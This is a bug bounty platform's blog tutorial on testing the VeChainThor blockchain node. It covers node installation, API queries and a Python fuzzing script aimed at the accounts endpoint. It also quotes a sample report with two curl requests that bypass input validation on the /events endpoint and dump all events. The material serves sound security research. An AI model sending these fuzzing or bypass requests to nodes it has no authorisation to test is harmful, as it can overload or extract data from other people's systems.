HackenProof Blog / Industry News / How to hack VeChainThor?

How to hack VeChainThor?

HackenProof has several VeChain Bug Bounty Programs, such as VeChainThor and VeChainThor Wallet (with quite a hefty compensation system, we might add). VeChain is a blockchain protocol which may seem to be difficult to test. However, we’ll try to show you that it’s not difficult to start bug hunting – we’ll demonstrate business VeChain concepts, node installation guide, API introduction, successful and unsuccessful node hacking attempt (the post has been written by HackenProof’s blockchain security specialist, Serhii Okhrimenko)

VeChain Thor introduction

VeChain is a public blockchain platform that focuses on enterprise adoption and smart contracts. The vision of VeChain and the VeChainThor Blockchain is to build a trust-free and distributed business ecosystem platform to enable transparent information flow, efficient collaboration, and high-speed value transfers. It is commonly listed as a VET on crypto-trading platforms. VeChain Foundation is a non-profit entity built for visibility, inclusiveness, transparency of governance processes.

White paper and documentation overview

The white paper provides information about precondition for the creation of blockchain, basics of blockchain technology and general view of VeChain developers. The white paper contains Governance Model and Design. It describes principles and philosophy of governance structure built on VeChain Blockchain. The next part of the white paper describes VeChain’s economic model. VeChain Blockchain has two levels: VeChain Token (VET) and VeThor (VTHO). VET is like a simple cryptocurrency and VTHO is made to pay for blockchain operations are performed.  VeChain model is designed in such a way that VTHO has generated automatically via holding VET tokens. The VTHO tokens can be transferred and traded. VeChainThor Blockchain is a public blockchain that is designed for the masses. As VeChain Blockchain inherits Ethereum’s concept, it has smart contracts that run on the Ethereum Virtual Machine (EVM). VeChain thereby is able to host large-scale commercial decentralized applications (DApps). VeChain Blockchain uses proof-of-authority protocol, where only Authority Masternodes can validate a block. The next is the architecture and application development guide. This part described VeChainThor’s architecture and a guideline for developers on how to build their own applications that use VeChain Blockchain. Also, the white paper has some examples of existing applications that use VeChain Blockchain.

Node installation

For node installation, I launched an instance on AWS C2 with Ubuntu Server 16.04 LTS image. First of all, I have updated the packages and installed a new version of the software.

sudo apt-get update && sudo apt-get upgrade

VeChain Thor requires Go 1.10+ and gcc.

tar -C /usr/local -xzf go$VERSION.$OS-$ARCH.tar.gz
export PATH=$PATH:/usr/local/go/bin
sudo apt-get install gcc

Clone the Thor repo:

git clone https://github.com/vechain/thor.git
cd thor

Install dependencies:

make dep

dep is a dependency management tool of Go and distributes with Go.

To build the main app thor, just run:

make

Connect to VeChain’s mainnet:

bin/thor –network main

Connect to VeChain’s testnet:

bin/thor –network test

API is running on localhost by default. To make it available from web type command below:

sudo bin/thor –network main –api-addr 0.0.0.0:8669

After that API is available in your browser at http://{node-ip}:8669

API testing

I want to get information about the latest block. I can get that information by typing in a browser the following link:

http://{node-ip}:8669/blocks/best

In this case, “best” means the latest block. If you want to get information about a different block instead of “best”, type required block number. In my case I’ve got:

{
  “number”:680202,
  “id”:”0x000a610a89a7b8b8363a25f9abd70147f3b3aa2db322cfdeae258e6a817c3584″,
  “size”:240,
  “parentID”:”0x000a6109421b0ae68f0f83f041b321a5d8293b09e91911db8f39bc9e418fe9f5″,
  “timestamp”:1537122030,
  “gasLimit”:15752702,
  “beneficiary”:”0xc8be0902a99f4acf0fcfa2e2462eb3c6774725d6″,
  “gasUsed”:0,
  “totalScore”:67161205,
  “txsRoot”:”0x45b0cfc220ceec5b7c1c62c4d4193d38e4eba48e8815729ce75f9c0ab0e4c1c0″,
  “stateRoot”:”0xe4610040b9d0a45ec72694c0cfc9c00a0e33adbe397b1b38890ef28c7fb62ba0″,
  “receiptsRoot”:”0x45b0cfc220ceec5b7c1c62c4d4193d38e4eba48e8815729ce75f9c0ab0e4c1c0″,
  “signer”:”0x473b001dc2bc56eca9020453b4365fa6389cf625″,
  “isTrunk”:true,
  “transactions”:[

  ]
}

As you can see, the node works fine. Next, I am going to test it with some kind of “dumb” fuzzing. Fuzz testing or “fuzzing” is a quality assurance technique used to discover coding errors and security loopholes in software, operating systems or networks.

I wrote a simple python script that implements an incorrect account address into a request. It sends requests asynchronously and the results are being stored in a CSV file.

import asyncio
import aiohttp
import threading
import time
import string
import random
import json
import signal
import sys
import csv
from web3.auto import w3
from queue import Queue


file = open(‘data.csv’, “w+”)
host = “http://{node_ip}:8669/accounts”
headers = {
“Accept”: “application/json”,
}
key = “0x0000000000000000000000000000000000000000000000000000000000000001”
ev = asyncio.get_event_loop()


def id_generator(size=214, chars=string.ascii_letters + string.digits):
   return “”.join(random.choice(chars) for _ in range(size))


async def make_request():
async with aiohttp.ClientSession() as session:
account = w3.eth.account.create(id_generator()).address
account = list(account)
account.pop(random.randrange(len(account)))
account = ”.join(account)
url = “http://{node_ip}:8669/accounts/” + account + “/storage/” + key
try:
async with session.get(url, headers=headers) as resp:
data_to_write = [[account, key, resp.status]]
csv.writer(file).writerows(data_to_write)
except:
data_to_write = [[account, key, resp.status]]
csv.writer(file).writerows(data_to_write)
pass


async def request_producer():
while True:
ev.create_task(make_request())
await asyncio.sleep(0.1)


ev.create_task(request_producer())
ev.run_forever()

I’ve ran this script a few times and made about 30k request per script request. As a result, I’ve got few CSV files. Each contains parameters of GET requests and status code the respond. Below, there is an example of the output:

0x61f1CD81c6E97c54A86E867BBd96aA97B7270cF,0x0000000000000000000000000000000000000000000000000000000000000001,400
0x1836A279a7Da7B0F4F0e0c3c5D4Fb7df7F5aD5e,0x0000000000000000000000000000000000000000000000000000000000000001,400
024c83DFa81949eA4682fB742c6F9D1c28B970240,0x0000000000000000000000000000000000000000000000000000000000000001,400
0x6a11c90675bD3765C66Eeb41C1798e67A181A33,0x0000000000000000000000000000000000000000000000000000000000000001,400
0xd65e1b4b0B74312ef9D9811C0021F4AE5601aDB,0x0000000000000000000000000000000000000000000000000000000000000001,400

During the test, the node has answered to each request and I’ve managed to get 400 Bad Request errors.

Sample Report from hackenproof.com

https://hackenproof.com/reports/5b032f7db6fa1e27b7cf6ff1

The API/events inputs are validated against a set of rules detailed in the /api/doc/thor.yaml. Here is an example of a noncompliant request dealt with correctly:

curl -d ‘xyz’ http://127.0.0.1:8669/events

invalid character ‘x’ looking for the beginning of the value.

This gives the user of a node the ability to use the API in order to get a filtered list of events according to certain options. This vulnerability allows an attacker, having in one way or another access to the API node, to bypass all input validation and, thus, request all events from the node at once.

I have currently identified two ways to bypass the input validation:

(Bypass #1) empty order: curl -d ‘{ Order: “” }’ http://127.0.0.1:8669/events > events1.out
(Bypass #2) null: curl -d null http://127.0.0.1:8669/events > events2.out

Proof:

ls -lah events1.out
-rw-r–r– 1 root root 38M May 21 21:37 events1.out
ls -lah events2.out
-rw-r–r– 1 root root 38M May 21 21:38 events2.out

Conclusion

We hope that this guide was helpful to you. If you have any questions, regarding the guide, you can drop us a line to our corporate email and we’ll be happy to respond. Mind you, this is not the first, and certainly not the last “how-to” guide that we’ve written. Recently, we’ve published a post that describes how to start bug-hunting smart contracts. Check that out as well 🙂

Please follow our Facebook and Twitter accounts and get updates on new bug bounty programs that launch on the HackenProof platform.